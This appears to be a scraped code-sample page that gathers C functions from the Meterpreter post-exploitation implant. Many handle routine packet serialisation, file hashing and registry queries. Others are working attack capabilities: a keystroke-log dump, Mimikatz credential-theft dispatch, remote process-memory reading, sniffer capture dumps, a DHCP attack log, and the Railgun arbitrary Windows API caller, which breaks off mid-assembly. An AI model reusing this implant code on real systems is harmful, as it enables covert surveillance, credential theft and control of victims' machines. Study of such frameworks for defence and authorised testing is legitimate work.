Beispiel #1
0
DWORD request_resolve_hosts(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	Tlv hostname = {0};
	int index = 0;
	int iResult;
	u_short ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE);

	while( packet_enum_tlv( packet, index++, TLV_TYPE_HOST_NAME, &hostname ) == ERROR_SUCCESS )
	{
		struct in_addr addr = {0};
		struct in6_addr addr6 = {0};
		
		iResult = resolve_host((LPCSTR)hostname.buffer, ai_family, &addr, &addr6);

		if (iResult == NO_ERROR)
		{
			if (ai_family == AF_INET)
			{
				packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr));
			} else {
				packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6));
			}
		}
		else
		{
			dprintf("Unable to resolve_host %s error: %x", hostname.buffer, iResult);		
			packet_add_tlv_raw(response, TLV_TYPE_IP, NULL, 0);
		}
		packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family);
	}

	packet_transmit_response(NO_ERROR, remote, response);
	return ERROR_SUCCESS;
}
Beispiel #2
0
/*
 * Write to the remote end of the channel
 */
DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
                    DWORD addendLength, PUCHAR buffer, ULONG length,
                    ChannelCompletionRoutine *completionRoutine)
{
    PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
    ChannelCompletionRoutine *dupe = NULL;
    DWORD res = ERROR_SUCCESS;
    LPCSTR method = "core_channel_write";
    Packet *request;
    Tlv methodTlv;

    do
    {
        // Allocate a request packet
        if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
        {
            res = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }

        // Add the supplied TLVs
        packet_add_tlvs(request, addend, addendLength);

        // If no method TLV as added, add the default one.
        if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
            packet_add_tlv_string(request, TLV_TYPE_METHOD, method);

        // Add the channel identifier and the length to write
        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));

        // if the channel data is ment to be compressed, compress it!
        if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) )
            packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length);
        else
            packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length);

        packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel));

        // Initialize the packet completion routine
        if (completionRoutine)
        {
            // Duplicate the completion routine
            dupe = channel_duplicate_completion_routine(completionRoutine);

            requestCompletion.context = dupe;
            requestCompletion.routine = _channel_packet_completion_routine;
            realRequestCompletion     = &requestCompletion;
        }

        // Transmit the packet with the supplied completion routine, if any.
        res = packet_transmit(remote, request, realRequestCompletion);

    } while (0);

    return res;
}
DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
        DWORD addendLength, PUCHAR buffer, ULONG length, 
        ChannelCompletionRoutine *completionRoutine)
{
    PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
    ChannelCompletionRoutine *dupe = NULL;
    DWORD res = ERROR_SUCCESS;
    LPCSTR method = "core_channel_write";
    Packet *request;
    Tlv methodTlv;

    do
    {
        if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
        {
            res = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }

        packet_add_tlvs(request, addend, addendLength);

        if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
            packet_add_tlv_string(request, TLV_TYPE_METHOD, method);

        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));

        if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) )
            packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length);
        else
            packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length);

        packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel));

        if (completionRoutine)
        {
            dupe = channel_duplicate_completion_routine(completionRoutine);

            requestCompletion.context = dupe;
            requestCompletion.routine = _channel_packet_completion_routine;
            realRequestCompletion     = &requestCompletion;
        }

        res = packet_transmit(remote, request, realRequestCompletion);

    } while (0);

    return res;
}
Beispiel #4
0
/*
 * Gets information about the file path that is supplied and returns it to the
 * requestor
 *
 * TLVs:
 *
 * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd
 */
DWORD request_fs_stat(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	struct meterp_stat buf;
	LPCSTR filePath;
	LPSTR expanded = NULL;
	DWORD result = ERROR_SUCCESS;

	filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);

	// Validate parameters
	if (!filePath)
		result = ERROR_INVALID_PARAMETER;
	else if (!(expanded = fs_expand_path(filePath)))
		result = ERROR_NOT_ENOUGH_MEMORY;
	else
	{
		result = fs_stat(expanded, &buf);
		if (0 == result)
			packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf,
					sizeof(buf));
	}

	// Set the result and transmit the response
	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

	packet_transmit(remote, response, NULL);

	if (expanded)
		free(expanded);

	return result;
}
Beispiel #5
0
DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request)
{
	Packet *response = packet_create_response(request);
	DWORD result = ERROR_SUCCESS;
	char *utf8_keyscan_buf = NULL;

	if (tKeyScan) {
		utf8_keyscan_buf = wchar_to_utf8(g_keyscan_buf);
		packet_add_tlv_raw(response, TLV_TYPE_KEYS_DUMP, (LPVOID)utf8_keyscan_buf,
			(DWORD)strlen(utf8_keyscan_buf) + 1);
		memset(g_keyscan_buf, 0, KEYBUFSIZE);

		// reset index and zero active window string so the current one
		// is logged again
		g_idx = 0;
		RtlZeroMemory(g_prev_active_image, MAX_PATH);
	}
	else {
		result = 1;
	}

	// Transmit the response
	packet_transmit_response(result, remote, response);
  free(utf8_keyscan_buf);
	return ERROR_SUCCESS;
}
Beispiel #6
0
/*
 * Returns the SHA1 hash for a specified file path
 *
 * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd
 */
DWORD request_fs_sha1(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	char *filePath;
	DWORD result = ERROR_SUCCESS;
	SHA_CTX context;

	FILE *fd;
	size_t ret;
	unsigned char buff[16384];
	unsigned char hash[SHA_DIGEST_LENGTH];

	filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);

	result = fs_fopen(filePath, "rb", &fd);
	if (result == ERROR_SUCCESS) {
		SHA1_Init(&context);

		while ((ret = fread(buff, 1, sizeof(buff), fd)) > 0 ) {
			SHA1_Update(&context, buff, ret);
		}

		fclose(fd);
		SHA1_Final(hash, &context);

		packet_add_tlv_raw(response, TLV_TYPE_FILE_HASH, hash, sizeof(hash));
	}

	return packet_transmit_response(result, remote, response);
}
Beispiel #7
0
/*
 * Gets information about the file path that is supplied and returns it to the
 * requestor
 *
 * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd
 */
DWORD request_fs_stat(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	struct meterp_stat buf;
	char *filePath;
	char *expanded = NULL;
	DWORD result = ERROR_SUCCESS;

	filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);

	if (!filePath) {
		result = ERROR_INVALID_PARAMETER;
		goto out;
	}

	expanded = fs_expand_path(filePath);
	if (expanded == NULL) {
		result = ERROR_NOT_ENOUGH_MEMORY;
		goto out;
	}

	result = fs_stat(expanded, &buf);
	if (0 == result) {
		packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf));
	}

	free(expanded);

out:
	return packet_transmit_response(result, remote, response);
}
DWORD request_custom_command(Remote *remote, Packet *packet)
{
	Packet * response = packet_create_response(packet);
	Tlv argTlv             = {0};
	DWORD index            = 0;
	vector<wstring> args;

	LPCSTR func = packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION);
	dprintf("Function: %s", packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION));
	wstring function = s2ws(func);

	while( packet_enum_tlv( packet, index++, TLV_TYPE_MIMIKATZ_ARGUMENT, &argTlv ) == ERROR_SUCCESS )
	{
		dprintf("Arg: %s", (PCHAR)argTlv.buffer);
		args.push_back(s2ws((PCHAR)argTlv.buffer));
	}

	clear_buffer();

	initialize_mimikatz();
	myMimiKatz->doCommandeLocale(&function, &args);

	wchar_t* output = convert_wstring_to_wchar_t(oss.str());
	
	clear_buffer();

	packet_add_tlv_raw(response, TLV_TYPE_MIMIKATZ_RESULT, output, (DWORD)(wcslen(output)*sizeof(wchar_t)));
	packet_transmit_response(ERROR_SUCCESS, remote, response);

	return ERROR_SUCCESS;	
}
Beispiel #9
0
/*
 * Returns the MD5 hash for a specified file path
 *
 * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd
 */
DWORD request_fs_md5(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	char *filePath;
	DWORD result = ERROR_SUCCESS;
	MD5_CTX context;

	FILE *fd;
	size_t ret;
	unsigned char buff[16384];
	unsigned char hash[MD5_DIGEST_LENGTH + 1] = {0};

	filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);

	result = fs_fopen(filePath, "rb", &fd);
	if (result == ERROR_SUCCESS) {

		MD5_Init(&context);

		while ((ret = fread(buff, 1, sizeof(buff), fd)) > 0 ) {
			MD5_Update(&context, buff, ret);
		}

		MD5_Final(hash, &context);

		packet_add_tlv_raw(response, TLV_TYPE_FILE_NAME, hash, sizeof(hash));

		fclose(fd);
	}

	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
	return PACKET_TRANSMIT(remote, response, NULL);
}
Beispiel #10
0
/*
 * Queries a registry value's type and data for a given HKEY.
 *
 * TLVs:
 *
 * req: TLV_TYPE_HKEY       - The HKEY to query the value on
 * req: TLV_TYPE_VALUE_NAME - The name of the value to query
 */
DWORD request_registry_query_value(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCSTR valueName = NULL;
	LPBYTE valueData = NULL;
	DWORD valueDataSize = 4096;
	DWORD result = ERROR_SUCCESS;
	DWORD valueType = 0;
	HKEY hkey = NULL;

	// Acquire the standard TLVs
	hkey      = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY);
	valueName = packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME);

	do
	{
		// Get the size of the value data
		if ((result = RegQueryValueEx(hkey, valueName, 0, NULL, NULL, 
				&valueDataSize)) != ERROR_SUCCESS)
			break;

		// Allocate storage for the value data
		if (!(valueData = (LPBYTE)malloc(valueDataSize)))
			continue;

		// Query the value's information
		if ((result = RegQueryValueEx(hkey, valueName, 0, &valueType, valueData,
				&valueDataSize)) != ERROR_SUCCESS)
			break;

		// Add the information about the value to the response
		packet_add_tlv_uint(response, TLV_TYPE_VALUE_TYPE, valueType);

		switch (valueType)
		{
			case REG_SZ:
				packet_add_tlv_string(response, TLV_TYPE_VALUE_DATA, 
						(LPCSTR)valueData);
				break;
			case REG_DWORD:
				packet_add_tlv_uint(response, TLV_TYPE_VALUE_DATA,
						*(LPDWORD)valueData);
				break;
			default:
				packet_add_tlv_raw(response, TLV_TYPE_VALUE_DATA,
						valueData, valueDataSize);
				break;
		}

	} while (0);

	// Populate the result code
	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

	// Transmit the response
	packet_transmit(remote, response, NULL);

	return ERROR_SUCCESS;
}
Beispiel #11
0
/*
 * Add an array of TLVs
 */
DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries)
{
	DWORD index;

	for (index = 0; index < numEntries; index++)
		packet_add_tlv_raw(packet, entries[index].header.type, entries[index].buffer, entries[index].header.length);

	return ERROR_SUCCESS;
}
/*
 * Read memory from the context of the supplied process at a given address for a
 * given length
 *
 * req: TLV_TYPE_HANDLE       - The handle of the process to read from.
 * req: TLV_TYPE_BASE_ADDRESS - The address to read from.
 * req: TLV_TYPE_LENGTH       - The number of bytes to read.
 */
DWORD request_sys_process_memory_read(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPVOID buffer = NULL;
	HANDLE handle;
	SIZE_T size;
	LPVOID base;
	SIZE_T bytesRead = 0;
	DWORD result = ERROR_SUCCESS;

	handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE);
	base   = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS);
	size   = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH);

	do
	{
		// No handle, base, or size supplied?
		if ((!handle) ||
		    (!base) ||
		    (!size))
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// Allocate storage for to read into
		if (!(buffer = malloc(size)))
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Read the memory from the process...break out on failure
		if ((!ReadProcessMemory(handle, base, buffer, size, &bytesRead)) &&
		    (GetLastError() != ERROR_PARTIAL_COPY))
		{
			result = GetLastError();
			break;
		}

		// Add the raw buffer to the response
		packet_add_tlv_raw(response, TLV_TYPE_PROCESS_MEMORY, buffer,
				(DWORD)bytesRead);

	} while (0);

	// Transmit the response
	packet_transmit_response(result, remote, response);

	// Free the temporary storage
	if (buffer)
		free(buffer);

	return ERROR_SUCCESS;
}
Beispiel #13
0
/*
 * Add a TLV group.  A TLV group is a TLV that contains multiple sub-TLVs
 */
DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, 
		DWORD numEntries)
{
	DWORD totalSize = 0, 
		offset = 0,
		index = 0, 
		res = ERROR_SUCCESS;
	PCHAR buffer = NULL;

	// Calculate the total TLV size.
	for (index = 0;
	     index < numEntries;
	     index++)
		totalSize += entries[index].header.length + sizeof(TlvHeader);

	do
	{
		// Allocate storage for the complete buffer
		if (!(buffer = (PCHAR)malloc(totalSize)))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Copy the memory into the new buffer
		for (index = 0;
	        index < numEntries;
	        index++)
		{
			TlvHeader rawHeader;

			// Convert byte order for storage
			rawHeader.length = htonl(entries[index].header.length + sizeof(TlvHeader));
			rawHeader.type   = htonl((DWORD)entries[index].header.type);

			// Copy the TLV header & payload
			memcpy(buffer + offset, &rawHeader, sizeof(TlvHeader));
			memcpy(buffer + offset + sizeof(TlvHeader), entries[index].buffer,
					entries[index].header.length);

			// Update the offset into the buffer
			offset += entries[index].header.length + sizeof(TlvHeader);
		}

		// Now add the TLV group with its contents populated
		res = packet_add_tlv_raw(packet, type, buffer, totalSize);

	} while (0);

	// Free the temporary buffer
	if (buffer)
		free(buffer);

	return res;
}
Beispiel #14
0
/*!
 * @brief Add a group packet to the parent packet.
 * @param packet Pointer to the container packet that the group is to be added to.
 * @param type The type of group packet being added.
 * @param groupPacket the packet containing the group data (created by `packet_create_group`).
 * @returns Indication of success or failure.
 * @remarks The function calls `packet_destroy` on the `groupPacket` if adding the packet succeeds.
 */
DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket)
{
	DWORD result = packet_add_tlv_raw(packet, type, groupPacket->payload, groupPacket->payloadLength);
	if (result == ERROR_SUCCESS)
	{
		packet_destroy(groupPacket);
		return ERROR_SUCCESS;
	}

	return result;
}
DWORD request_core_uuid(Remote* remote, Packet* packet) {
	DWORD res = ERROR_SUCCESS;
	Packet* response = packet_create_response(packet);

	if (response) {
		packet_add_tlv_raw(response, TLV_TYPE_UUID, remote->orig_config->session.uuid, UUID_SIZE);

		packet_transmit_response(ERROR_SUCCESS, remote, response);
	}

	return res;
}
//Gets and resets the DHCP log
DWORD request_lanattacks_dhcp_log(Remote *remote, Packet *packet){
	Packet *response = packet_create_response(packet);

	unsigned long loglen;
	unsigned char * log = getDHCPLog(dhcpserver, &loglen);

	packet_add_tlv_raw(response, TLV_TYPE_LANATTACKS_RAW, log, loglen);
	packet_transmit_response(ERROR_SUCCESS, remote, response);
	free(log);

	return ERROR_SUCCESS;
}
Beispiel #17
0
/*
 * Returns the SHA1 hash for a specified file path
 *
 * TLVs:
 *
 * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd
 */
DWORD request_fs_sha1(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCSTR filePath;
	LPSTR expanded = NULL;
	DWORD result = ERROR_SUCCESS;
	SHA_CTX context;

	FILE *fd;
	size_t ret;
	unsigned char buff[16384];
	unsigned char hash[128];

	filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);

	// Validate parameters
	if (!filePath)
		result = ERROR_INVALID_PARAMETER;
	else if (!(expanded = fs_expand_path(filePath)))
		result = ERROR_NOT_ENOUGH_MEMORY;
	else
	{
		do {
			SHA1_Init(&context);
			fd = fopen(expanded, "rb");
			if (! fd) {
				result = GetLastError();
				break;
			}

			while((ret = fread(buff, 1, sizeof(buff), fd)) > 0 ) {
				SHA1_Update(&context, buff, ret);
			}

			fclose(fd);
			SHA1_Final(hash, &context);

			// One byte extra for the NULL
			packet_add_tlv_raw(response, TLV_TYPE_FILE_NAME, hash, 21);
		} while(0);
	}

	// Set the result and transmit the response
	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

	packet_transmit(remote, response, NULL);

	if (expanded)
		free(expanded);

	return ERROR_SUCCESS;
}
Beispiel #18
0
DWORD request_resolve_host(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCSTR hostname = NULL;
	struct in_addr addr;
	struct in6_addr addr6;
	u_short ai_family = AF_INET;
	int iResult;

	hostname = packet_get_tlv_value_string(packet, TLV_TYPE_HOST_NAME);

	if (!hostname)
	{
		iResult = ERROR_INVALID_PARAMETER;
		dprintf("Hostname not set");
	}
	else
	{
		ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE);
		iResult = resolve_host(hostname, ai_family, &addr, &addr6);
		if (iResult == NO_ERROR)
		{
			if (ai_family == AF_INET)
			{
				packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr));
			} else {
				packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6));
			}
			packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family);
		}
		else
		{
			dprintf("Unable to resolve_host %s error: %x", hostname, iResult);
		}
	}

	packet_transmit_response(iResult, remote, response);
	return ERROR_SUCCESS;
}
Beispiel #19
0
static DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) {
	Packet *response = packet_create_response(packet);
	unsigned int ifid;
	unsigned int bcnt;
	CaptureJob *j;
	DWORD result;

	check_pssdk();
	dprintf("sniffer>> capture_dump_read()");

	ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID);
	bcnt = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_BYTE_COUNT);
	bcnt = min(bcnt, 32*1024*1024);

	dprintf("sniffer>> capture_dump_read(0x%.8x, %d)", ifid, bcnt);

	result = ERROR_SUCCESS;

	do {
		// the interface is invalid
		if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) {
			packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
			break;
		}
		
		j = &open_captures[ifid];
		if(! j->dbuf) {
			packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
			break;
		}
		
		if(j->didx + bcnt > j->dlen) {
			bcnt = j->dlen - j->didx;
		}

		packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt);
		packet_add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf+j->didx, bcnt);
		j->didx += bcnt;
	} while(0);
	
	// Free memory if the read is complete
	if(j->didx >= j->dlen-1) {
		free(j->dbuf);
		j->dbuf = NULL;
		j->didx = 0;
		j->dlen = 0;
	}

	packet_transmit_response(result, remote, response);
	return ERROR_SUCCESS;
}
Beispiel #20
0
void request_fs_ls_cb(void *arg, char *name, char *short_name, char *path)
{
	Packet *response = arg;
	struct meterp_stat s;

	/*
	 * Add the file name, full path and stat information
	 */
	packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, name);
	packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, path);
	if (short_name) {
		packet_add_tlv_string(response, TLV_TYPE_FILE_SHORT_NAME, short_name);
	}
	if (fs_stat(path, &s) >= 0) {
		packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &s, sizeof(s));
	}
}
Beispiel #21
0
/*!
 * @brief Add a wide-string value TLV to a packet, including the \c NULL terminator.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param str Pointer to the wide-string value to add to the packet.
 * @param strLength of the string (not including the NULL terminator).
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength)
{
	DWORD dwResult;
	LPSTR lpStr = (LPSTR)malloc(strLength + 1);

	if (lpStr)
	{
		wcstombs(lpStr, str, strLength);
		lpStr[strLength] = 0;
		dwResult = packet_add_tlv_raw(packet, type, (PUCHAR)lpStr, (DWORD)strLength + 1);
		free(lpStr);
	}
	else
	{
		dwResult = ERROR_NOT_ENOUGH_MEMORY;
	}

	return dwResult;
}
Beispiel #22
0
/*
 * Gets information about the file path that is supplied and returns it to the
 * requestor
 *
 * TLVs:
 *
 * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd
 */
DWORD request_fs_stat(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	struct stat buf;
	LPCSTR filePath;
	LPSTR expanded = NULL;
	DWORD result = ERROR_SUCCESS;

	filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);

	// Validate parameters
	if (!filePath)
		result = ERROR_INVALID_PARAMETER;
	else if (!(expanded = fs_expand_path(filePath)))
		result = ERROR_NOT_ENOUGH_MEMORY;
	else
	{
		// Stat the file using the Microsoft stat wrapper so that we don't have to
		// do translations
		if (stat(expanded, &buf) < 0)
			result = GetLastError();
		else
			packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf,
					sizeof(buf));
	}

	// Set the result and transmit the response
	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

	packet_transmit(remote, response, NULL);

	if (expanded)
		free(expanded);

	return ERROR_SUCCESS;
}
/*!
 * @brief Get the current hash that is used for SSL certificate verification.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the request packet.
 * @returns Indication of success or failure.
 */
DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet)
{
	DWORD result = ERROR_SUCCESS;
	Packet* response;

	do
	{
		response = packet_create_response(packet);
		if (!response)
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Rather than error out if the transport isn't HTTPS, we'll just return
		// an empty response. This prevents a horrible error appearing in the
		// MSF console
		if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS)
		{
			HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
			if (ctx->cert_hash)
			{
				packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE);
			}
		}

		result = ERROR_SUCCESS;
	} while (0);

	if (response)
	{
		packet_transmit_response(result, remote, response);
	}

	return result;
}
// Single-request railgun API
DWORD request_railgun_api(Remote *remote, Packet *packet)
{
	DWORD bufferSizeOUT,bufferSizeIN,bufferSizeINOUT,stackSizeInElements;
	BYTE * bufferIN=NULL;
	BYTE * bufferOUT=NULL;
	BYTE * bufferINOUT=NULL;
	DWORD * stack = NULL;
	DWORD returnValue; // returnValue of the function
	const DWORD * stackDescriptorBuffer; // do not free! Just convenience ptr to TLV
	Tlv stackDescriptorTlv;
	const char * dllName;
	const char * funcName;
	HMODULE hDll;
	void * funcAddr;
	DWORD ii;
	DWORD lastError;
	Packet *response;

	dprintf("request_railgun_api()");

	// Prepare the OUT-Buffer (undefined content)
	bufferSizeOUT = packet_get_tlv_value_uint(packet, TLV_TYPE_RAILGUN_SIZE_OUT);
	dprintf("bufferSizeOUT == %d",bufferSizeOUT);
	if (bufferSizeOUT != 0){
		bufferOUT = (BYTE *)malloc(bufferSizeOUT);
		memset(bufferOUT,'A',bufferSizeOUT); // this might help catch bugs
	}
	dprintf("bufferOUT @ 0x%08X",bufferOUT);


	// get the IN-Buffer
	dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_IN");
	bufferIN = getRawDataCopy(packet,TLV_TYPE_RAILGUN_BUFFERBLOB_IN,&bufferSizeIN);
	dprintf("bufferIN @ 0x%08X",bufferIN);
	if (bufferIN == NULL){
		dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_IN");
		goto cleanup;
	}
	dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_IN, size %d",bufferSizeIN);

	// get the INOUT-Buffer
	dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT");
	bufferINOUT = getRawDataCopy(packet,TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT,&bufferSizeINOUT);
	dprintf("bufferINOUT @ 0x%08X",bufferINOUT);
	if (bufferINOUT == NULL){
		dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT");
		goto cleanup;
	}
	dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, size %d",bufferSizeINOUT);

	// Get DLLNAME
	dllName = packet_get_tlv_value_string(packet,TLV_TYPE_RAILGUN_DLLNAME);
	if (dllName == NULL){
		dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME");
		goto cleanup;
	}
	dprintf("TLV_TYPE_RAILGUN_DLLNAME. %s: ",dllName);
	// Get funcNAME
	funcName = packet_get_tlv_value_string(packet,TLV_TYPE_RAILGUN_FUNCNAME);
	if (funcName == NULL){
		dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME");
		goto cleanup;
	}
	dprintf("TLV_TYPE_RAILGUN_FUNCNAME. %s: ",funcName);

	// get address of function
	hDll = LoadLibraryA(dllName); // yes this increases the counter. lib should never be released. maybe the user just did a WSAStartup etc.
	if (hDll == NULL){
		dprintf("LoadLibraryA() failed");
		goto cleanup;
	}
	funcAddr = (void*)GetProcAddress(hDll,funcName);
	if (funcAddr == NULL){
		dprintf("GetProcAddress() failed");
		goto cleanup;
	}

	// get the Stack-description (1 DWORD description, 1 DWORD data)
	dprintf("Getting TLV_TYPE_RAILGUN_STACKBLOB");
	if (packet_get_tlv(packet, TLV_TYPE_RAILGUN_STACKBLOB, &stackDescriptorTlv) != ERROR_SUCCESS){
		dprintf("packet_get_tlv failed");
		goto cleanup;
	}
	dprintf("Got TLV_TYPE_RAILGUN_STACKBLOB, size %d",stackDescriptorTlv.header.length);
	if ((stackDescriptorTlv.header.length % (2*sizeof(DWORD))) != 0){
		dprintf("TLV_TYPE_RAILGUN_STACKBLOB: blob size makes no sense");
	}
	dprintf("Function at 0x%08X.",funcAddr);


	stackSizeInElements = stackDescriptorTlv.header.length / (2*sizeof(DWORD));
	stackDescriptorBuffer = (DWORD*) stackDescriptorTlv.buffer;
	stack = (DWORD*) malloc((stackSizeInElements)*sizeof(DWORD));
	dprintf("Stack blob size: 0x%X",stackDescriptorTlv.header.length);
	dprintf("stackSizeInElements: %d",stackSizeInElements);
	dprintf("stack @ 0x%08X",stack);

	// To build the stack we have to process the items.
	// depending on their types the items are
	// 0 - literal values
	// 1 = relative pointers to bufferIN. Must be converted to absolute pointers
	// 2 = relative pointers to bufferOUT. Must be converted to absolute pointers
	// 3 = relative pointers to bufferINOUT. Must be converted to absolute pointers
	for (ii=0; ii<stackSizeInElements; ii++){
		DWORD itemType,item;
		itemType = stackDescriptorBuffer[ii*2];
		item = stackDescriptorBuffer[ii*2+1];
		switch(itemType){
			case 0:	// do nothing. item is a literal value
					dprintf("Param %d is literal:0x%08X.",ii,item);
					stack[ii] = item;
					break;
			case 1:	// relative ptr to bufferIN. Convert to absolute Ptr
					stack[ii] = item + ((DWORD)bufferIN);
					dprintf("Param %d is relative to bufferIn: 0x%08X => 0x%08X",ii,item,stack[ii]);
					break;
			case 2:	// relative ptr to bufferOUT. Convert to absolute Ptr
					stack[ii] = item + ((DWORD)bufferOUT);
					dprintf("Param %d is relative to bufferOUT: 0x%08X => 0x%08X",ii,item,stack[ii]);
					break;
			case 3:	// relative ptr to bufferINOUT. Convert to absolute Ptr
					stack[ii] = item + ((DWORD)bufferINOUT);
					dprintf("Param %d is relative to bufferINOUT: 0x%08X => 0x%08X",ii,item,stack[ii]);
					break;
			default:
				dprintf("Invalid stack item description %d for item %d",itemType,ii);
				goto cleanup;
		}
	}

	dprintf("calling function..");
	SetLastError(0);
	// written for readability. 
	// The compiler MUST use EBP to reference variables, sinde  we are messing with ESP.
	// In MSVC parlance "Omit Frame pointers" OFF!
	__asm{	
		pusha
		// save ESP
		mov EBX,ESP

		//"push" all params on the stack
		mov ECX,[stackSizeInElements]
		mov ESI,[stack]
		sub ESP,ECX  
		sub ESP,ECX  
		sub ESP,ECX  
		sub ESP,ECX  
		mov EDI,ESP
		cld
		rep movsd
		//and call!
		mov eax,[funcAddr]
		call eax
